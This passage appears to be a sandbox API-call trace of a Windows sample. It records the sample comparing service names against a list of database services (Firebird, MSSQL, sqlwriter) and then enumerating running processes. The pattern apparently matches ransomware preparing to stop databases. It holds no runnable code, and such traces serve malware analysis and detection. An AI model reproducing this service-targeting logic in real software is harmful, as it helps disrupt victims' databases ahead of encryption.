lpString2="NcbService") returned -1 [0199.753] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0199.753] lstrlenW (lpString="netprofm") returned 8 [0199.753] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0199.753] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0199.753] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0199.753] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0199.753] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0199.753] lstrlenW (lpString="NlaSvc") returned 6 [0199.753] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0199.754] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0199.754] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0199.754] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0199.754] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0199.754] lstrlenW (lpString="nsi") returned 3 [0199.754] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0199.754] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0199.754] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0199.754] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0199.754] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0199.754] lstrlenW (lpString="PcaSvc") returned 6 [0199.754] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0199.754] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0199.754] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0199.754] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0199.754] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0199.754] lstrlenW (lpString="PlugPlay") returned 8 [0199.754] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0199.754] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0199.754] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0199.754] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0199.754] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0199.754] lstrlenW (lpString="Power") returned 5 [0199.754] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0199.754] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0199.754] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0199.754] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0199.754] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0199.754] lstrlenW (lpString="ProfSvc") returned 7 [0199.754] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0199.754] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0199.754] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0199.754] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0199.754] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0199.754] lstrlenW (lpString="RpcEptMapper") returned 12 [0199.754] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0199.754] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0199.754] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0199.754] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0199.755] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0199.755] lstrlenW (lpString="RpcSs") returned 5 [0199.755] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0199.755] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0199.755] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0199.755] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0199.755] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0199.755] lstrlenW (lpString="SamSs") returned 5 [0199.755] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0199.755] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0199.755] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0199.755] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0199.755] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0199.755] lstrlenW (lpString="Schedule") returned 8 [0199.755] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0199.755] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0199.755] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0199.755] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0199.755] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0199.755] lstrlenW (lpString="SecurityHealthService") returned 21 [0199.755] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0199.755] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0199.755] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0199.755] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0199.755] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0199.755] lstrlenW (lpString="SENS") returned 4 [0199.755] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0199.755] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0199.755] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0199.755] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0199.755] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0199.755] lstrlenW (lpString="ShellHWDetection") returned 16 [0199.755] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0199.755] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0199.755] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0199.755] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0199.755] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0199.755] lstrlenW (lpString="Spooler") returned 7 [0199.755] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0199.756] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0199.756] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0199.756] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0199.756] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0199.756] lstrlenW (lpString="SSDPSRV") returned 7 [0199.756] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SSDPSRV") returned -1 [0199.756] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SSDPSRV") returned -1 [0199.756] lstrcmpiW (lpString1="sqlwriter", lpString2="SSDPSRV") returned -1 [0199.756] lstrcmpiW (lpString1="mssqlserver", lpString2="SSDPSRV") returned -1 [0199.756] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SSDPSRV") returned -1 [0199.756] lstrlenW (lpString="StateRepository") returned 15 [0199.756] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0199.756] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0199.756] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0199.756] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0199.756] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0199.756] lstrlenW (lpString="SysMain") returned 7 [0199.756] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0199.756] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0199.756] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0199.756] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0199.756] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x7fea38 | out: hHeap=0x790000) returned 1 [0199.756] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x31c [0199.761] Process32FirstW (in: hSnapshot=0x31c, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0199.762] Process32NextW (in: hSnapshot=0x31c, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6b, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0199.763] lstrlenW (lpString="System") returned 6 [0199.763] Process32NextW (in: hSnapshot=0x31c, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0199.763] lstrlenW (lpString="smss.exe") returned 8 [0199.763] Process32NextW (in: hSnapshot=0x31c, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x19c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0199.764] lstrlenW (lpString="csrss.exe") returned 9 [0199.764] Process32NextW (in: hSnapshot=0x31c, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0199.765] lstrlenW (lpString="wininit.exe") returned 11 [0199.765] Process32NextW (in: hSnapshot=0x31c, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0199.765] lstrlenW (lpString="csrss.exe") returned 9 [0199.765] Process32NextW (in: hSnapshot=0x31c, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x234, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0199.766] lstrlenW (lpString="winlogon.exe") returned 12 [0199.766] Process32NextW (in: hSnapshot=0x31c, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0199.768] lstrlenW (lpString="services.exe") returned 12 [0199.768] Process32NextW (in: hSnapshot=0x31c, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x258, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0199.768] lstrlenW (lpString="lsass.exe") returned 9 [0199.768] Process32NextW (in: hSnapshot=0x31c, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0199.769] lstrlenW (lpString="svchost.exe") returned 11 [0199.769] Process32NextW (in: hSnapshot=0x31c, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x234, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0199.770] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0199.770] Process32NextW (in: hSnapshot=0x31c, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0199.770] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0199.770] Process32NextW (in: hSnapshot=0x31c, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0199.771] lstrlenW (lpString="svchost.exe") returned 11 [0199.771] Process32NextW (in: hSnapshot=0x31c, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x234, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0199.772] lstrlenW (lpString="dwm.exe") returned 7 [0199.772] Process32NextW (in: hSnapshot=0x31c, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x58, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0199.772] lstrlenW (lpString="svchost.exe") returned 11 [0199.772] Process32NextW (in: hSnapshot=0x31c, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0199.773] lstrlenW (lpString="svchost.exe") returned 11 [0199.773] Process32NextW (in: hSnapshot=0x31c, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0199.774] lstrlenW (lpString="svchost.exe") returned 11 [0199.774] Process32NextW (in: hSnapshot=0x31c, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x12c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0199.775] lstrlenW (lpString="svchost.exe") returned 11 [0199.775] Process32NextW (in: hSnapshot=0x31c, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x170, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x26, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0199.776] lstrlenW (lpString="svchost.exe") returned 11 [0199.776] Process32NextW (in: hSnapshot=0x31c, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0199.776] lstrlenW (lpString="svchost.exe") returned 11 [0199.777] Process32NextW (in: hSnapshot=0x31c, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0199.777] lstrlenW (lpString="svchost.exe") returned 11 [0199.777] Process32NextW (in: hSnapshot=0x31c, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x530, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0199.778] lstrlenW (lpString="svchost.exe") returned 11 [0199.778] Process32NextW (in: hSnapshot=0x31c, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x538, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0199.779] lstrlenW (lpString="svchost.exe") returned 11 [0199.779] Process32NextW (in: hSnapshot=0x31c, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0199.779] lstrlenW (lpString="spoolsv.exe") returned 11 [0199.779] Process32NextW (in: hSnapshot=0x31c, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0199.780] lstrlenW (lpString="svchost.exe") returned 11 [0199.780] Process32NextW (in: hSnapshot=0x31c, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x684, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0199.781] lstrlenW (lpString="svchost.exe") returned 11 [0199.781] Process32NextW (in: hSnapshot=0x31c, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x4fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0199.781] lstrlenW (lpString="audiodg.exe") returned 11 [0199.781] Process32NextW (in: hSnapshot=0x31c, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0199.782] lstrlenW (lpString="sihost.exe") returned 10 [0199.782] Process32NextW (in: hSnapshot=0x31c, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x718, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0199.783] lstrlenW (lpString="svchost.exe") returned 11 [0199.783] Process32NextW (in: hSnapshot=0x31c, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0199.784] lstrlenW (lpString="taskhostw.exe") returned 13 [0199.784] Process32NextW (in: hSnapshot=0x31c, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0199.785] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0199.785] Process32NextW (in: hSnapshot=0x31c, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x55c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0199.785] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0199.785] Process32NextW (in: hSnapshot=0x31c, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x860, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3b, th32ParentProcessID=0x834, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0199.786] lstrlenW (lpString="explorer.exe") returned 12 [0199.786] Process32NextW (in: hSnapshot=0x31c, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0199.787] lstrlenW (lpString="Memory Compression") returned 18 [0199.787] Process32NextW (in: hSnapshot=0x31c, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0199.787] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0199.787] Process32NextW (in: hSnapshot=0x31c, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0199.788] lstrlenW (lpString="SearchUI.exe") returned 12 [0199.788] Process32NextW (in: hSnapshot=0x31c, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0199.789] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0199.789] Process32NextW (in: hSnapshot=0x31c, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0199.790] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0199.790] Process32NextW (in: hSnapshot=0x31c, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="entering.exe")) returned 1 [0199.790] lstrlenW (lpString="entering.exe") returned 12 [0199.790] Process32NextW (in: hSnapshot=0x31c, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="literally.exe")) returned 1 [0199.791] lstrlenW (lpString="literally.exe") returned 13 [0199.791] Process32NextW (in: hSnapshot=0x31c, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="prep.exe")) returned 1 [0199.792] lstrlenW (lpString="prep.exe") returned 8 [0199.792] Process32NextW (in: hSnapshot=0x31c, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x37c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="homeless.exe")) returned 1 [0199.792] lstrlenW (lpString="homeless.exe") returned 12 [0199.792] Process32NextW (in: hSnapshot=0x31c, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="tips.exe")) returned 1 [0199.793] lstrlenW (lpString="tips.exe") returned 8 [0199.793] Process32NextW (in: hSnapshot=0x31c, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="rhode_cow.exe")) returned 1 [0199.794] lstrlenW (lpString="rhode_cow.exe") returned 13 [0199.794] Process32NextW (in: hSnapshot=0x31c, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="discount.exe")) returned 1 [0199.795] lstrlenW (lpString="discount.exe") returned 12 [0199.795] Process32NextW (in: hSnapshot=0x31c, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x658, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="littleclosest.exe")) returned 1 [0199.795] lstrlenW (lpString="littleclosest.exe") returned 17 [0199.796] Process32NextW (in: hSnapshot=0x31c, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="compact.exe")) returned 1 [0199.796] lstrlenW (lpString="compact.exe") returned 11 [0199.796] Process32NextW (in: hSnapshot=0x31c, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="transmission-inclusion.exe")) returned 1 [0199.797] lstrlenW 